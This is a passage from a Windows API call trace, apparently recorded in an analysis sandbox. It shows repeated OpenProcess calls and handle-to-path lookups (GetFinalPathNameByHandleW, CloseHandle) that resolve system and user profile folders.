dwProcessId=0x4) returned 0x0 [0163.959] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.959] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.959] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.959] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.959] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.960] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.960] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.960] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.960] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.960] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.960] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.960] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.960] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.960] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.961] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.961] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.961] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.961] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.961] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.961] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.961] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.961] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.961] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.962] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.962] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.962] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.962] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.962] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.962] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.962] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.962] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.962] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.963] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.963] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.963] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.963] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.963] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.963] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.963] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.963] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.963] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.963] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.964] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.964] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.964] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.964] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.964] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.964] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.964] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.964] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.964] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.965] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.965] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.965] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.965] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.965] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.965] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.965] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.965] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.965] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.966] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.966] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.966] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.966] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.966] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.966] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.966] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.966] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.966] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.967] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.967] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.967] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.967] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.967] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.967] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.967] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.967] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.967] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.967] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.968] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.968] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.968] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.968] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.968] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0163.968] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0163.968] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0163.968] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0163.968] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0163.969] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0163.969] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0163.969] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0163.969] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0163.969] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0163.969] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x0 [0163.969] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x0 [0163.969] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0163.969] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0163.970] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0163.970] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0163.970] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0163.970] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0163.970] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0163.970] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0163.970] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0163.970] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0163.970] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x184) returned 0x0 [0163.970] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x184) returned 0x0 [0163.971] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x184) returned 0x0 [0163.971] GetFileType (hFile=0x118) returned 0x1 [0163.971] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32") returned 0x17 [0163.973] CloseHandle (hObject=0x118) returned 1 [0163.973] GetFileType (hFile=0x114) returned 0x1 [0163.973] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a") returned 0x6b [0163.974] CloseHandle (hObject=0x114) returned 1 [0163.974] GetFileType (hFile=0x118) returned 0x0 [0163.974] CloseHandle (hObject=0x118) returned 1 [0163.974] GetFileType (hFile=0x114) returned 0x1 [0163.975] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0163.976] CloseHandle (hObject=0x114) returned 1 [0163.976] GetFileType (hFile=0x118) returned 0x1 [0163.976] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0163.977] CloseHandle (hObject=0x118) returned 1 [0163.977] GetFileType (hFile=0x114) returned 0x1 [0163.977] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_08e61857a83bc251") returned 0x64 [0163.978] CloseHandle (hObject=0x114) returned 1 [0163.978] GetFileType (hFile=0x118) returned 0x1 [0163.978] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.vc90.atl_1fc8b3b9a1e18e3b_9.0.30729.6161_none_0a1fd3a3a768b895") returned 0x64 [0163.978] CloseHandle (hObject=0x118) returned 1 [0163.979] GetFileType (hFile=0x114) returned 0x1 [0163.979] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0163.979] CloseHandle (hObject=0x114) returned 1 [0163.979] GetFileType (hFile=0x118) returned 0x1 [0163.979] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0163.980] CloseHandle (hObject=0x118) returned 1 [0163.980] GetFileType (hFile=0x114) returned 0x1 [0163.980] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0163.980] CloseHandle (hObject=0x114) returned 1 [0163.981] GetFileType (hFile=0x118) returned 0x1 [0163.981] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0163.981] CloseHandle (hObject=0x118) returned 1 [0163.981] GetFileType (hFile=0x114) returned 0x1 [0163.981] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0163.982] CloseHandle (hObject=0x114) returned 1 [0163.982] GetFileType (hFile=0x118) returned 0x1 [0163.982] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\Fonts\\StaticCache.dat") returned 0x24 [0163.982] CloseHandle (hObject=0x118) returned 1 [0163.983] GetFileType (hFile=0x114) returned 0x1 [0163.983] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_106f9be843a9b4e3") returned 0x7b [0163.983] CloseHandle (hObject=0x114) returned 1 [0163.983] GetFileType (hFile=0x118) returned 0x1 [0163.983] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_106f9be843a9b4e3\\comctl32.dll.mui") returned 0x8c [0163.984] CloseHandle (hObject=0x118) returned 1 [0163.984] GetFileType (hFile=0x114) returned 0x1 [0163.984] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0163.985] CloseHandle (hObject=0x114) returned 1 [0163.985] GetFileType (hFile=0x118) returned 0x1 [0163.985] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0163.985] CloseHandle (hObject=0x118) returned 1 [0163.985] GetFileType (hFile=0x114) returned 0x1 [0163.985] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0163.986] CloseHandle (hObject=0x114) returned 1 [0163.986] GetFileType (hFile=0x118) returned 0x1 [0163.986] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0163.987] CloseHandle (hObject=0x118) returned 1 [0163.987] GetFileType (hFile=0x114) returned 0x1 [0163.987] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned 0x66 [0163.988] CloseHandle (hObject=0x114) returned 1 [0163.988] GetFileType (hFile=0x118) returned 0x1 [0163.988] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0163.988] CloseHandle (hObject=0x118) returned 1 [0163.989] GetFileType (hFile=0x114) returned 0x1 [0163.989] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned 0x4d [0163.989] CloseHandle (hObject=0x114) returned 1 [0163.989] GetFileType (hFile=0x118) returned 0x1 [0163.989] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned 0x4d [0164.045] CloseHandle (hObject=0x118) returned 1 [0164.045] GetFileType (hFile=0x114) returned 0x1 [0164.045] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned 0x66 [0164.046] CloseHandle (hObject=0x114) returned 1 [0164.046] GetFileType (hFile=0x118) returned 0x1 [0164.046] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat") returned 0x58 [0164.047] CloseHandle (hObject=0x118) returned 1 [0164.047] GetFileType (hFile=0x114) returned 0x1 [0164.047] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned 0x2f [0164.048] CloseHandle (hObject=0x114) returned 1 [0164.048] GetFileType (hFile=0x118) returned 0x1 [0164.048] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned 0x2f [0164.048] CloseHandle (hObject=0x118) returned 1 [0164.048] GetFileType (hFile=0x114) returned 0x1 [0164.049] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu") returned 0x4e [0164.049] CloseHandle (hObject=0x114) returned 1 [0164.049] GetFileType (hFile=0x118) returned 0x1 [0164.049] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu") returned 0x4e [0164.051] CloseHandle (hObject=0x118) returned 1 [0164.051] GetFileType (hFile=0x114) returned 0x1 [0164.051] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x29 [0164.051] CloseHandle (hObject=0x114) returned 1 [0164.052] GetFileType (hFile=0x118) returned 0x1 [0164.052] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x29 [0164.053] CloseHandle (hObject=0x118) returned 1 [0164.053] GetFileType (hFile=0x114) returned 0x1 [0164.053] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\Public\\Desktop") returned 0x1b [0164.054] CloseHandle (hObject=0x114) returned 1 [0164.054] GetFileType (hFile=0x118) returned 0x1 [0164.054] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\Public\\Desktop") returned 0x1b [0164.054] CloseHandle (hObject=0x118) returned 1 [0164.054] GetFileType (hFile=0x114) returned 0x1 [0164.055] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn") returned 0x46 [0164.056] CloseHandle (hObject=0x114) returned 1 [0164.056] GetFileType (hFile=0x118) returned 0x1 [0164.056] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn") returned 0x46 [0164.057] CloseHandle (hObject=0x118) returned 1 [0164.057] GetFileType (hFile=0x114) returned 0x1 [0164.057] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\wdmaud.drv.mui") returned 0x2c [0164.058] CloseHandle (hObject=0x114) returned 1 [0164.058] GetFileType (hFile=0x118) returned 0x1 [0164.059] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\MMDevAPI.dll.mui") returned 0x2e [0164.059] CloseHandle (hObject=0x118) returned 1 [0164.060] GetFileType (hFile=0x114) returned 0x1 [0164.060] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\bthprops.cpl.mui") returned 0x2e [0164.061] CloseHandle (hObject=0x114) returned 1 [0164.061] GetFileType (hFile=0x118) returned 0x1 [0164.061] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0164.062] CloseHandle (hObject=0x118) returned 1 [0164.062] GetFileType (hFile=0x114) returned 0x1 [0164.062] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0164.063] CloseHandle (hObject=0x114) returned 1 [0164.063] GetFileType (hFile=0x118) returned 0x1 [0164.063] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\msutb.dll.mui") returned 0x2b [0164.064] CloseHandle (hObject=0x118) returned 1 [0164.064] GetFileType (hFile=0x114) returned 0x1 [0164.064] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\msctf.dll.mui") returned 0x2b [0164.065] CloseHandle (hObject=0x114) returned 1 [0164.065] GetFileType (hFile=0x118) returned 0x1 [0164.065] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0164.066] CloseHandle (hObject=0x118) returned 1 [0164.066] GetFileType (hFile=0x114) returned 0x3 [0164.066] CloseHandle (hObject=0x114) returned 1 [0164.066] GetFileType (hFile=0x118) returned 0x0 [0164.066] CloseHandle (hObject=0x118) returned 1 [0164.066] GetFileType (hFile=0x114) returned 0x1 [0164.066] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0164.067] CloseHandle (hObject=0x114) returned 1 [0164.067] GetFileType (hFile=0x118) returned 0x1 [0164.067] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts") returned 0x55 [0164.069] CloseHandle (hObject=0x118) returned 1 [0164.069] GetFileType (hFile=0x114) returned 0x1 [0164.069] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts") returned 0x55 [0164.070] 